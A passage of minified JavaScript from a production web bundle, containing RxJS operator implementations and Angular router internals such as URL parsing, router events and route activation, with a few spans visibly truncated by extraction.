yf(...e){const t=Fo(e),r=Vh(e),{args:n,keys:o}=SC(e);if(0===n.length)return Ae([],t);const i=new De(function FF(e,t,r=An){return n=>{NC(t,()=>{const{length:o}=e,i=new Array(o);let s=o,a=o;for(let l=0;l{const u=Ae(e[l],t);let c=!1;u.subscribe(Ee(n,d=>{i[l]=d,c||(c=!0,a--),a||n.next(r(i.slice()))},()=>{--s||n.complete()}))},n)},n)}}(n,t,o?s=>TC(o,s):An));return r?i.pipe(AC(r)):i}function NC(e,t,r){e?ln(r,e,t):t()}const nl=Ro(e=>function(){e(this),this.name="EmptyError",this.message="no elements in sequence"});function _f(...e){return function kF(){return _r(1)}()(Ae(e,Fo(e)))}function xC(e){return new De(t=>{ut(e()).subscribe(t)})}function mo(e,t){const r=ie(e)?e:()=>e,n=o=>o.error(r());return new De(t?o=>t.schedule(n,0,o):n)}function Df(){return Se((e,t)=>{let r=null;e._refCount++;const n=Ee(t,void 0,void 0,void 0,()=>{if(!e||e._refCount<=0||0<--e._refCount)return void(r=null);const o=e._connection,i=r;r=null,o&&(!i||o===i)&&o.unsubscribe(),t.unsubscribe()});e.subscribe(n),n.closed||(r=e.connect())})}class RC extends De{constructor(t,r){super(),this.source=t,this.subjectFactory=r,this._subject=null,this._refCount=0,this._connection=null,bh(t)&&(this.lift=t.lift)}_subscribe(t){return this.getSubject().subscribe(t)}getSubject(){const t=this._subject;return(!t||t.isStopped)&&(this._subject=this.subjectFactory()),this._subject}_teardown(){this._refCount=0;const{_connection:t}=this;this._subject=this._connection=null,t?.unsubscribe()}connect(){let t=this._connection;if(!t){t=this._connection=new lt;const r=this.getSubject();t.add(this.source.subscribe(Ee(r,void 0,()=>{this._teardown(),r.complete()},n=>{this._teardown(),r.error(n)},()=>this._teardown()))),t.closed&&(this._connection=null,t=lt.EMPTY)}return t}refCount(){return Df()(this)}}function vo(e){return e<=0?()=>Wt:Se((t,r)=>{let n=0;t.subscribe(Ee(r,o=>{++n<=e&&(r.next(o),e<=n&&r.complete())}))})}function En(e,t){return Se((r,n)=>{let o=0;r.subscribe(Ee(n,i=>e.call(t,i,o++)&&n.next(i)))})}function rl(e){return Se((t,r)=>{let n=!1;t.subscribe(Ee(r,o=>{n=!0,r.next(o)},()=>{n||r.next(e),r.complete()}))})}function OC(e=VF){return Se((t,r)=>{let n=!1;t.subscribe(Ee(r,o=>{n=!0,r.next(o)},()=>n?r.complete():r.error(e())))})}function VF(){return new nl}function fr(e,t){const r=arguments.length>=2;return n=>n.pipe(e?En((o,i)=>e(o,i,n)):An,vo(1),r?rl(t):OC(()=>new nl))}function yo(e,t){return ie(t)?Pe(e,t,1):Pe(e,1)}function ze(e,t,r){const n=ie(e)||t||r?{next:e,error:t,complete:r}:e;return n?Se((o,i)=>{var s;null===(s=n.subscribe)||void 0===s||s.call(n);let a=!0;o.subscribe(Ee(i,l=>{var u;null===(u=n.next)||void 0===u||u.call(n,l),i.next(l)},()=>{var l;a=!1,null===(l=n.complete)||void 0===l||l.call(n),i.complete()},l=>{var u;a=!1,null===(u=n.error)||void 0===u||u.call(n,l),i.error(l)},()=>{var l,u;a&&(null===(l=n.unsubscribe)||void 0===l||l.call(n)),null===(u=n.finalize)||void 0===u||u.call(n)}))}):An}function Mn(e){return Se((t,r)=>{let i,n=null,o=!1;n=t.subscribe(Ee(r,void 0,void 0,s=>{i=ut(e(s,Mn(e)(t))),n?(n.unsubscribe(),n=null,i.subscribe(r)):o=!0})),o&&(n.unsubscribe(),n=null,i.subscribe(r))})}function Cf(e){return e<=0?()=>Wt:Se((t,r)=>{let n=[];t.subscribe(Ee(r,o=>{n.push(o),e{for(const o of n)r.next(o);r.complete()},void 0,()=>{n=null}))})}function ji(e){return Se((t,r)=>{try{t.subscribe(r)}finally{r.add(e)}})}const H="primary",Bi=Symbol("RouteTitle");class zF{constructor(t){this.params=t||{}}has(t){return Object.prototype.hasOwnProperty.call(this.params,t)}get(t){if(this.has(t)){const r=this.params[t];return Array.isArray(r)?r[0]:r}return null}getAll(t){if(this.has(t)){const r=this.params[t];return Array.isArray(r)?r:[r]}return[]}get keys(){return Object.keys(this.params)}}function _o(e){return new zF(e)}function GF(e,t,r){const n=r.path.split("/");if(n.length>e.length||"full"===r.pathMatch&&(t.hasChildren()||n.lengthn[i]===o)}return e===t}function FC(e){return e.length>0?e[e.length-1]:null}function Un(e){return function SF(e){return!!e&&(e instanceof De||ie(e.lift)&&ie(e.subscribe))}(e)?e:bi(e)?Ae(Promise.resolve(e)):R(e)}const WF={exact:function VC(e,t,r){if(!hr(e.segments,t.segments)||!ol(e.segments,t.segments,r)||e.numberOfChildren!==t.numberOfChildren)return!1;for(const n in t.children)if(!e.children[n]||!VC(e.children[n],t.children[n],r))return!1;return!0},subset:jC},kC={exact:function ZF(e,t){return on(e,t)},subset:function YF(e,t){return Object.keys(t).length<=Object.keys(e).length&&Object.keys(t).every(r=>PC(e[r],t[r]))},ignored:()=>!0};function LC(e,t,r){return WF[r.paths](e.root,t.root,r.matrixParams)&&kC[r.queryParams](e.queryParams,t.queryParams)&&!("exact"===r.fragment&&e.fragment!==t.fragment)}function jC(e,t,r){return BC(e,t,t.segments,r)}function BC(e,t,r,n){if(e.segments.length>r.length){const o=e.segments.slice(0,r.length);return!(!hr(o,r)||t.hasChildren()||!ol(o,r,n))}if(e.segments.length===r.length){if(!hr(e.segments,r)||!ol(e.segments,r,n))return!1;for(const o in t.children)if(!e.children[o]||!jC(e.children[o],t.children[o],n))return!1;return!0}{const o=r.slice(0,e.segments.length),i=r.slice(e.segments.length);return!!(hr(e.segments,o)&&ol(e.segments,o,n)&&e.children[H])&&BC(e.children[H],t,i,n)}}function ol(e,t,r){return t.every((n,o)=>kC[r](e[o].parameters,n.parameters))}class Do{constructor(t=new oe([],{}),r={},n=null){this.root=t,this.queryParams=r,this.fragment=n}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=_o(this.queryParams)),this._queryParamMap}toString(){return JF.serialize(this)}}class oe{constructor(t,r){this.segments=t,this.children=r,this.parent=null,Object.values(r).forEach(n=>n.parent=this)}hasChildren(){return this.numberOfChildren>0}get numberOfChildren(){return Object.keys(this.children).length}toString(){return il(this)}}class Hi{constructor(t,r){this.path=t,this.parameters=r}get parameterMap(){return this._parameterMap||(this._parameterMap=_o(this.parameters)),this._parameterMap}toString(){return UC(this)}}function hr(e,t){return e.length===t.length&&e.every((r,n)=>r.path===t[n].path)}let $i=(()=>{var e;class t{}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:function(){return new wf},providedIn:"root"}),t})();class wf{parse(t){const r=new uk(t);return new Do(r.parseRootSegment(),r.parseQueryParams(),r.parseFragment())}serialize(t){const r=`/${Ui(t.root,!0)}`,n=function tk(e){const t=Object.keys(e).map(r=>{const n=e[r];return Array.isArray(n)?n.map(o=>`${sl(r)}=${sl(o)}`).join("&"):`${sl(r)}=${sl(n)}`}).filter(r=>!!r);return t.length?`?${t.join("&")}`:""}(t.queryParams);return`${r}${n}${"string"==typeof t.fragment?`#${function KF(e){return encodeURI(e)}(t.fragment)}`:""}`}}const JF=new wf;function il(e){return e.segments.map(t=>UC(t)).join("/")}function Ui(e,t){if(!e.hasChildren())return il(e);if(t){const r=e.children[H]?Ui(e.children[H],!1):"",n=[];return Object.entries(e.children).forEach(([o,i])=>{o!==H&&n.push(`${o}:${Ui(i,!1)}`)}),n.length>0?`${r}(${n.join("//")})`:r}{const r=function XF(e,t){let r=[];return Object.entries(e.children).forEach(([n,o])=>{n===H&&(r=r.concat(t(o,n)))}),Object.entries(e.children).forEach(([n,o])=>{n!==H&&(r=r.concat(t(o,n)))}),r}(e,(n,o)=>o===H?[Ui(e.children[H],!1)]:[`${o}:${Ui(n,!1)}`]);return 1===Object.keys(e.children).length&&null!=e.children[H]?`${il(e)}/${r[0]}`:`${il(e)}/(${r.join("//")})`}}function HC(e){return encodeURIComponent(e).replace(/%40/g,"@").replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",")}function sl(e){return HC(e).replace(/%3B/gi,";")}function bf(e){return HC(e).replace(/\(/g,"%28").replace(/\)/g,"%29").replace(/%26/gi,"&")}function al(e){return decodeURIComponent(e)}function $C(e){return al(e.replace(/\+/g,"%20"))}function UC(e){return`${bf(e.path)}${function ek(e){return Object.keys(e).map(t=>`;${bf(t)}=${bf(e[t])}`).join("")}(e.parameters)}`}const nk=/^[^\/()?;#]+/;function Ef(e){const t=e.match(nk);return t?t[0]:""}const rk=/^[^\/()?;=#]+/,ik=/^[^=?&#]+/,ak=/^[^&#]+/;class uk{constructor(t){this.url=t,this.remaining=t}parseRootSegment(){return this.consumeOptional("/"),""===this.remaining||this.peekStartsWith("?")||this.peekStartsWith("#")?new oe([],{}):new oe([],this.parseChildren())}parseQueryParams(){const t={};if(this.consumeOptional("?"))do{this.parseQueryParam(t)}while(this.consumeOptional("&"));return t}parseFragment(){return this.consumeOptional("#")?decodeURIComponent(this.remaining):null}parseChildren(){if(""===this.remaining)return{};this.consumeOptional("/");const t=[];for(this.peekStartsWith("(")||t.push(this.parseSegment());this.peekStartsWith("/")&&!this.peekStartsWith("//")&&!this.peekStartsWith("/(");)this.capture("/"),t.push(this.parseSegment());let r={};this.peekStartsWith("/(")&&(this.capture("/"),r=this.parseParens(!0));let n={};return this.peekStartsWith("(")&&(n=this.parseParens(!1)),(t.length>0||Object.keys(r).length>0)&&(n[H]=new oe(t,r)),n}parseSegment(){const t=Ef(this.remaining);if(""===t&&this.peekStartsWith(";"))throw new D(4009,!1);return this.capture(t),new Hi(al(t),this.parseMatrixParams())}parseMatrixParams(){const t={};for(;this.consumeOptional(";");)this.parseParam(t);return t}parseParam(t){const r=function ok(e){const t=e.match(rk);return t?t[0]:""}(this.remaining);if(!r)return;this.capture(r);let n="";if(this.consumeOptional("=")){const o=Ef(this.remaining);o&&(n=o,this.capture(n))}t[al(r)]=al(n)}parseQueryParam(t){const r=function sk(e){const t=e.match(ik);return t?t[0]:""}(this.remaining);if(!r)return;this.capture(r);let n="";if(this.consumeOptional("=")){const s=function lk(e){const t=e.match(ak);return t?t[0]:""}(this.remaining);s&&(n=s,this.capture(n))}const o=$C(r),i=$C(n);if(t.hasOwnProperty(o)){let s=t[o];Array.isArray(s)||(s=[s],t[o]=s),s.push(i)}else t[o]=i}parseParens(t){const r={};for(this.capture("(");!this.consumeOptional(")")&&this.remaining.length>0;){const n=Ef(this.remaining),o=this.remaining[n.length];if("/"!==o&&")"!==o&&";"!==o)throw new D(4010,!1);let i;n.indexOf(":")>-1?(i=n.slice(0,n.indexOf(":")),this.capture(i),this.capture(":")):t&&(i=H);const s=this.parseChildren();r[i]=1===Object.keys(s).length?s[H]:new oe([],s),this.consumeOptional("//")}return r}peekStartsWith(t){return this.remaining.startsWith(t)}consumeOptional(t){return!!this.peekStartsWith(t)&&(this.remaining=this.remaining.substring(t.length),!0)}capture(t){if(!this.consumeOptional(t))throw new D(4011,!1)}}function zC(e){return e.segments.length>0?new oe([],{[H]:e}):e}function GC(e){const t={};for(const n of Object.keys(e.children)){const i=GC(e.children[n]);if(n===H&&0===i.segments.length&&i.hasChildren())for(const[s,a]of Object.entries(i.children))t[s]=a;else(i.segments.length>0||i.hasChildren())&&(t[n]=i)}return function ck(e){if(1===e.numberOfChildren&&e.children[H]){const t=e.children[H];return new oe(e.segments.concat(t.segments),t.children)}return e}(new oe(e.segments,t))}function pr(e){return e instanceof Do}function qC(e){let t;const o=zC(function r(i){const s={};for(const l of i.children){const u=r(l);s[l.outlet]=u}const a=new oe(i.url,s);return i===e&&(t=a),a}(e.root));return t??o}function WC(e,t,r,n){let o=e;for(;o.parent;)o=o.parent;if(0===t.length)return Mf(o,o,o,r,n);const i=function fk(e){if("string"==typeof e[0]&&1===e.length&&"/"===e[0])return new YC(!0,0,e);let t=0,r=!1;const n=e.reduce((o,i,s)=>{if("object"==typeof i&&null!=i){if(i.outlets){const a={};return Object.entries(i.outlets).forEach(([l,u])=>{a[l]="string"==typeof u?u.split("/"):u}),[...o,{outlets:a}]}if(i.segmentPath)return[...o,i.segmentPath]}return"string"!=typeof i?[...o,i]:0===s?(i.split("/").forEach((a,l)=>{0==l&&"."===a||(0==l&&""===a?r=!0:".."===a?t++:""!=a&&o.push(a))}),o):[...o,i]},[]);return new YC(r,t,n)}(t);if(i.toRoot())return Mf(o,o,new oe([],{}),r,n);const s=function hk(e,t,r){if(e.isAbsolute)return new ul(t,!0,0);if(!r)return new ul(t,!1,NaN);if(null===r.parent)return new ul(r,!0,0);const n=ll(e.commands[0])?0:1;return function pk(e,t,r){let n=e,o=t,i=r;for(;i>o;){if(i-=o,n=n.parent,!n)throw new D(4005,!1);o=n.segments.length}return new ul(n,!1,o-i)}(r,r.segments.length-1+n,e.numberOfDoubleDots)}(i,o,e),a=s.processChildren?Gi(s.segmentGroup,s.index,i.commands):QC(s.segmentGroup,s.index,i.commands);return Mf(o,s.segmentGroup,a,r,n)}function ll(e){return"object"==typeof e&&null!=e&&!e.outlets&&!e.segmentPath}function zi(e){return"object"==typeof e&&null!=e&&e.outlets}function Mf(e,t,r,n,o){let s,i={};n&&Object.entries(n).forEach(([l,u])=>{i[l]=Array.isArray(u)?u.map(c=>`${c}`):`${u}`}),s=e===t?r:ZC(e,t,r);const a=zC(GC(s));return new Do(a,i,o)}function ZC(e,t,r){const n={};return Object.entries(e.children).forEach(([o,i])=>{n[o]=i===t?r:ZC(i,t,r)}),new oe(e.segments,n)}class YC{constructor(t,r,n){if(this.isAbsolute=t,this.numberOfDoubleDots=r,this.commands=n,t&&n.length>0&&ll(n[0]))throw new D(4003,!1);const o=n.find(zi);if(o&&o!==FC(n))throw new D(4004,!1)}toRoot(){return this.isAbsolute&&1===this.commands.length&&"/"==this.commands[0]}}class ul{constructor(t,r,n){this.segmentGroup=t,this.processChildren=r,this.index=n}}function QC(e,t,r){if(e||(e=new oe([],{})),0===e.segments.length&&e.hasChildren())return Gi(e,t,r);const n=function mk(e,t,r){let n=0,o=t;const i={match:!1,pathIndex:0,commandIndex:0};for(;o=r.length)return i;const s=e.segments[o],a=r[n];if(zi(a))break;const l=`${a}`,u=n0&&void 0===l)break;if(l&&u&&"object"==typeof u&&void 0===u.outlets){if(!JC(l,u,s))return i;n+=2}else{if(!JC(l,{},s))return i;n++}o++}return{match:!0,pathIndex:o,commandIndex:n}}(e,t,r),o=r.slice(n.commandIndex);if(n.match&&n.pathIndexi!==H)&&e.children[H]&&1===e.numberOfChildren&&0===e.children[H].segments.length){const i=Gi(e.children[H],t,r);return new oe(e.segments,i.children)}return Object.entries(n).forEach(([i,s])=>{"string"==typeof s&&(s=[s]),null!==s&&(o[i]=QC(e.children[i],t,s))}),Object.entries(e.children).forEach(([i,s])=>{void 0===n[i]&&(o[i]=s)}),new oe(e.segments,o)}}function If(e,t,r){const n=e.segments.slice(0,t);let o=0;for(;o{"string"==typeof n&&(n=[n]),null!==n&&(t[r]=If(new oe([],{}),0,n))}),t}function XC(e){const t={};return Object.entries(e).forEach(([r,n])=>t[r]=`${n}`),t}function JC(e,t,r){return e==r.path&&on(t,r.parameters)}const qi="imperative";class sn{constructor(t,r){this.id=t,this.url=r}}class cl extends sn{constructor(t,r,n="imperative",o=null){super(t,r),this.type=0,this.navigationTrigger=n,this.restoredState=o}toString(){return`NavigationStart(id: ${this.id}, url: '${this.url}')`}}class zn extends sn{constructor(t,r,n){super(t,r),this.urlAfterRedirects=n,this.type=1}toString(){return`NavigationEnd(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}')`}}class Wi extends sn{constructor(t,r,n,o){super(t,r),this.reason=n,this.code=o,this.type=2}toString(){return`NavigationCancel(id: ${this.id}, url: '${this.url}')`}}class Co extends sn{constructor(t,r,n,o){super(t,r),this.reason=n,this.code=o,this.type=16}}class dl extends sn{constructor(t,r,n,o){super(t,r),this.error=n,this.target=o,this.type=3}toString(){return`NavigationError(id: ${this.id}, url: '${this.url}', error: ${this.error})`}}class KC extends sn{constructor(t,r,n,o){super(t,r),this.urlAfterRedirects=n,this.state=o,this.type=4}toString(){return`RoutesRecognized(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class yk extends sn{constructor(t,r,n,o){super(t,r),this.urlAfterRedirects=n,this.state=o,this.type=7}toString(){return`GuardsCheckStart(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class _k extends sn{constructor(t,r,n,o,i){super(t,r),this.urlAfterRedirects=n,this.state=o,this.shouldActivate=i,this.type=8}toString(){return`GuardsCheckEnd(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state}, shouldActivate: ${this.shouldActivate})`}}class Dk extends sn{constructor(t,r,n,o){super(t,r),this.urlAfterRedirects=n,this.state=o,this.type=5}toString(){return`ResolveStart(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class Ck extends sn{constructor(t,r,n,o){super(t,r),this.urlAfterRedirects=n,this.state=o,this.type=6}toString(){return`ResolveEnd(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class wk{constructor(t){this.route=t,this.type=9}toString(){return`RouteConfigLoadStart(path: ${this.route.path})`}}class bk{constructor(t){this.route=t,this.type=10}toString(){return`RouteConfigLoadEnd(path: ${this.route.path})`}}class Ek{constructor(t){this.snapshot=t,this.type=11}toString(){return`ChildActivationStart(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class Mk{constructor(t){this.snapshot=t,this.type=12}toString(){return`ChildActivationEnd(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class Ik{constructor(t){this.snapshot=t,this.type=13}toString(){return`ActivationStart(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class Sk{constructor(t){this.snapshot=t,this.type=14}toString(){return`ActivationEnd(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class ew{constructor(t,r,n){this.routerEvent=t,this.position=r,this.anchor=n,this.type=15}toString(){return`Scroll(anchor: '${this.anchor}', position: '${this.position?`${this.position[0]}, ${this.position[1]}`:null}')`}}class Sf{}class Af{constructor(t){this.url=t}}class Ak{constructor(){this.outlet=null,this.route=null,this.injector=null,this.children=new Zi,this.attachRef=null}}let Zi=(()=>{var e;class t{constructor(){this.contexts=new Map}onChildOutletCreated(n,o){const i=this.getOrCreateContext(n);i.outlet=o,this.contexts.set(n,i)}onChildOutletDestroyed(n){const o=this.getContext(n);o&&(o.outlet=null,o.attachRef=null)}onOutletDeactivated(){const n=this.contexts;return this.contexts=new Map,n}onOutletReAttached(n){this.contexts=n}getOrCreateContext(n){let o=this.getContext(n);return o||(o=new Ak,this.contexts.set(n,o)),o}getContext(n){return this.contexts.get(n)||null}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac,providedIn:"root"}),t})();class tw{constructor(t){this._root=t}get root(){return this._root.value}parent(t){const r=this.pathFromRoot(t);return r.length>1?r[r.length-2]:null}children(t){const r=Tf(t,this._root);return r?r.children.map(n=>n.value):[]}firstChild(t){const r=Tf(t,this._root);return r&&r.children.length>0?r.children[0].value:null}siblings(t){const r=Nf(t,this._root);return r.length<2?[]:r[r.length-2].children.map(o=>o.value).filter(o=>o!==t)}pathFromRoot(t){return Nf(t,this._root).map(r=>r.value)}}function Tf(e,t){if(e===t.value)return t;for(const r of t.children){const n=Tf(e,r);if(n)return n}return null}function Nf(e,t){if(e===t.value)return[t];for(const r of t.children){const n=Nf(e,r);if(n.length)return n.unshift(t),n}return[]}class In{constructor(t,r){this.value=t,this.children=r}toString(){return`TreeNode(${this.value})`}}function wo(e){const t={};return e&&e.children.forEach(r=>t[r.value.outlet]=r),t}class nw extends tw{constructor(t,r){super(t),this.snapshot=r,xf(this,t)}toString(){return this.snapshot.toString()}}function rw(e,t){const r=function Tk(e,t){const s=new fl([],{},{},"",{},H,t,null,{});return new iw("",new In(s,[]))}(0,t),n=new Ct([new Hi("",{})]),o=new Ct({}),i=new Ct({}),s=new Ct({}),a=new Ct(""),l=new bo(n,o,s,a,i,H,t,r.root);return l.snapshot=r.root,new nw(new In(l,[]),r)}class bo{constructor(t,r,n,o,i,s,a,l){this.urlSubject=t,this.paramsSubject=r,this.queryParamsSubject=n,this.fragmentSubject=o,this.dataSubject=i,this.outlet=s,this.component=a,this._futureSnapshot=l,this.title=this.dataSubject?.pipe(Y(u=>u[Bi]))??R(void 0),this.url=t,this.params=r,this.queryParams=n,this.fragment=o,this.data=i}get routeConfig(){return this._futureSnapshot.routeConfig}get root(){return this._routerState.root}get parent(){return this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=this.params.pipe(Y(t=>_o(t)))),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=this.queryParams.pipe(Y(t=>_o(t)))),this._queryParamMap}toString(){return this.snapshot?this.snapshot.toString():`Future(${this._futureSnapshot})`}}function ow(e,t="emptyOnly"){const r=e.pathFromRoot;let n=0;if("always"!==t)for(n=r.length-1;n>=1;){const o=r[n],i=r[n-1];if(o.routeConfig&&""===o.routeConfig.path)n--;else{if(i.component)break;n--}}return function Nk(e){return e.reduce((t,r)=>({params:{...t.params,...r.params},data:{...t.data,...r.data},resolve:{...r.data,...t.resolve,...r.routeConfig?.data,...r._resolvedData}}),{params:{},data:{},resolve:{}})}(r.slice(n))}class fl{get title(){return this.data?.[Bi]}constructor(t,r,n,o,i,s,a,l,u){this.url=t,this.params=r,this.queryParams=n,this.fragment=o,this.data=i,this.outlet=s,this.component=a,this.routeConfig=l,this._resolve=u}get root(){return this._routerState.root}get parent(){return this._routerState.parent(this)}get firstChild(){return this._routerState.firstChild(this)}get children(){return this._routerState.children(this)}get pathFromRoot(){return this._routerState.pathFromRoot(this)}get paramMap(){return this._paramMap||(this._paramMap=_o(this.params)),this._paramMap}get queryParamMap(){return this._queryParamMap||(this._queryParamMap=_o(this.queryParams)),this._queryParamMap}toString(){return`Route(url:'${this.url.map(n=>n.toString()).join("/")}', path:'${this.routeConfig?this.routeConfig.path:""}')`}}class iw extends tw{constructor(t,r){super(r),this.url=t,xf(this,r)}toString(){return sw(this._root)}}function xf(e,t){t.value._routerState=e,t.children.forEach(r=>xf(e,r))}function sw(e){const t=e.children.length>0?` { ${e.children.map(sw).join(", ")} } `:"";return`${e.value}${t}`}function Rf(e){if(e.snapshot){const t=e.snapshot,r=e._futureSnapshot;e.snapshot=r,on(t.queryParams,r.queryParams)||e.queryParamsSubject.next(r.queryParams),t.fragment!==r.fragment&&e.fragmentSubject.next(r.fragment),on(t.params,r.params)||e.paramsSubject.next(r.params),function qF(e,t){if(e.length!==t.length)return!1;for(let r=0;ron(r.parameters,t[n].parameters))}(e.url,t.url);return r&&!(!e.parent!=!t.parent)&&(!e.parent||Of(e.parent,t.parent))}let Pf=(()=>{var e;class t{constructor(){this.activated=null,this._activatedRoute=null,this.name=H,this.activateEvents=new ye,this.deactivateEvents=new ye,this.attachEvents=new ye,this.detachEvents=new ye,this.parentContexts=M(Zi),this.location=M(Ut),this.changeDetector=M(Va),this.environmentInjector=M(pt),this.inputBinder=M(hl,{optional:!0}),this.supportsBindingToComponentInputs=!0}get activatedComponentRef(){return this.activated}ngOnChanges(n){if(n.name){const{firstChange:o,previousValue:i}=n.name;if(o)return;this.isTrackedInParentContexts(i)&&(this.deactivate(),this.parentContexts.onChildOutletDestroyed(i)),this.initializeOutletWithName()}}ngOnDestroy(){this.isTrackedInParentContexts(this.name)&&this.parentContexts.onChildOutletDestroyed(this.name),this.inputBinder?.unsubscribeFromRouteData(this)}isTrackedInParentContexts(n){return this.parentContexts.getContext(n)?.outlet===this}ngOnInit(){this.initializeOutletWithName()}initializeOutletWithName(){if(this.parentContexts.onChildOutletCreated(this.name,this),this.activated)return;const n=this.parentContexts.getContext(this.name);n?.route&&(n.attachRef?this.attach(n.attachRef,n.route):this.activateWith(n.route,n.injector))}get isActivated(){return!!this.activated}get component(){if(!this.activated)throw new D(4012,!1);return this.activated.instance}get activatedRoute(){if(!this.activated)throw new D(4012,!1);return this._activatedRoute}get activatedRouteData(){return this._activatedRoute?this._activatedRoute.snapshot.data:{}}detach(){if(!this.activated)throw new D(4012,!1);this.location.detach();const n=this.activated;return this.activated=null,this._activatedRoute=null,this.detachEvents.emit(n.instance),n}attach(n,o){this.activated=n,this._activatedRoute=o,this.location.insert(n.hostView),this.inputBinder?.bindActivatedRouteToOutletComponent(this),this.attachEvents.emit(n.instance)}deactivate(){if(this.activated){const n=this.component;this.activated.destroy(),this.activated=null,this._activatedRoute=null,this.deactivateEvents.emit(n)}}activateWith(n,o){if(this.isActivated)throw new D(4013,!1);this._activatedRoute=n;const i=this.location,a=n.snapshot.component,l=this.parentContexts.getOrCreateContext(this.name).children,u=new xk(n,l,i.injector);this.activated=i.createComponent(a,{index:i.length,injector:u,environmentInjector:o??this.environmentInjector}),this.changeDetector.markForCheck(),this.inputBinder?.bindActivatedRouteToOutletComponent(this),this.activateEvents.emit(this.activated.instance)}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275dir=k({type:e,selectors:[["router-outlet"]],inputs:{name:"name"},outputs:{activateEvents:"activate",deactivateEvents:"deactivate",attachEvents:"attach",detachEvents:"detach"},exportAs:["outlet"],standalone:!0,features:[Mt]}),t})();class xk{constructor(t,r,n){this.route=t,this.childContexts=r,this.parent=n}get(t,r){return t===bo?this.route:t===Zi?this.childContexts:this.parent.get(t,r)}}const hl=new I("");let aw=(()=>{var e;class t{constructor(){this.outletDataSubscriptions=new Map}bindActivatedRouteToOutletComponent(n){this.unsubscribeFromRouteData(n),this.subscribeToRouteData(n)}unsubscribeFromRouteData(n){this.outletDataSubscriptions.get(n)?.unsubscribe(),this.outletDataSubscriptions.delete(n)}subscribeToRouteData(n){const{activatedRoute:o}=n,i=yf([o.queryParams,o.params,o.data]).pipe(Pt(([s,a,l],u)=>(l={...s,...a,...l},0===u?R(l):Promise.resolve(l)))).subscribe(s=>{if(!n.isActivated||!n.activatedComponentRef||n.activatedRoute!==o||null===o.component)return void this.unsubscribeFromRouteData(n);const a=function rO(e){const t=q(e);if(!t)return null;const r=new vi(t);return{get selector(){return r.selector},get type(){return r.componentType},get inputs(){return r.inputs},get outputs(){return r.outputs},get ngContentSelectors(){return r.ngContentSelectors},get isStandalone(){return t.standalone},get isSignal(){return t.signals}}}(o.component);if(a)for(const{templateName:l}of a.inputs)n.activatedComponentRef.setInput(l,s[l]);else this.unsubscribeFromRouteData(n)});this.outletDataSubscriptions.set(n,i)}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275prov=x({token:e,factory:e.\u0275fac}),t})();function Yi(e,t,r){if(r&&e.shouldReuseRoute(t.value,r.value.snapshot)){const n=r.value;n._futureSnapshot=t.value;const o=function Ok(e,t,r){return t.children.map(n=>{for(const o of r.children)if(e.shouldReuseRoute(n.value,o.value.snapshot))return Yi(e,n,o);return Yi(e,n)})}(e,t,r);return new In(n,o)}{if(e.shouldAttach(t.value)){const i=e.retrieve(t.value);if(null!==i){const s=i.route;return s.value._futureSnapshot=t.value,s.children=t.children.map(a=>Yi(e,a)),s}}const n=function Pk(e){return new bo(new Ct(e.url),new Ct(e.params),new Ct(e.queryParams),new Ct(e.fragment),new Ct(e.data),e.outlet,e.component,e)}(t.value),o=t.children.map(i=>Yi(e,i));return new In(n,o)}}const Ff="ngNavigationCancelingError";function lw(e,t){const{redirectTo:r,navigationBehaviorOptions:n}=pr(t)?{redirectTo:t,navigationBehaviorOptions:void 0}:t,o=uw(!1,0,t);return o.url=r,o.navigationBehaviorOptions=n,o}function uw(e,t,r){const n=new Error("NavigationCancelingError: "+(e||""));return n[Ff]=!0,n.cancellationCode=t,r&&(n.url=r),n}function cw(e){return e&&e[Ff]}let dw=(()=>{var e;class t{}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275cmp=Ds({type:e,selectors:[["ng-component"]],standalone:!0,features:[l_],decls:1,vars:0,template:function(n,o){1&n&&Me(0,"router-outlet")},dependencies:[Pf],encapsulation:2}),t})();function kf(e){const t=e.children&&e.children.map(kf),r=t?{...e,children:t}:{...e};return!r.component&&!r.loadComponent&&(t||r.loadChildren)&&r.outlet&&r.outlet!==H&&(r.component=dw),r}function qt(e){return e.outlet||H}function Qi(e){if(!e)return null;if(e.routeConfig?._injector)return e.routeConfig._injector;for(let t=e.parent;t;t=t.parent){const r=t.routeConfig;if(r?._loadedInjector)return r._loadedInjector;if(r?._injector)return r._injector}return null}class $k{constructor(t,r,n,o,i){this.routeReuseStrategy=t,this.futureState=r,this.currState=n,this.forwardEvent=o,this.inputBindingEnabled=i}activate(t){const r=this.futureState._root,n=this.currState?this.currState._root:null;this.deactivateChildRoutes(r,n,t),Rf(this.futureState.root),this.activateChildRoutes(r,n,t)}deactivateChildRoutes(t,r,n){const o=wo(r);t.children.forEach(i=>{const s=i.value.outlet;this.deactivateRoutes(i,o[s],n),delete o[s]}),Object.values(o).forEach(i=>{this.deactivateRouteAndItsChildren(i,n)})}deactivateRoutes(t,r,n){const o=t.value,i=r?r.value:null;if(o===i)if(o.component){const s=n.getContext(o.outlet);s&&this.deactivateChildRoutes(t,r,s.children)}else this.deactivateChildRoutes(t,r,n);else 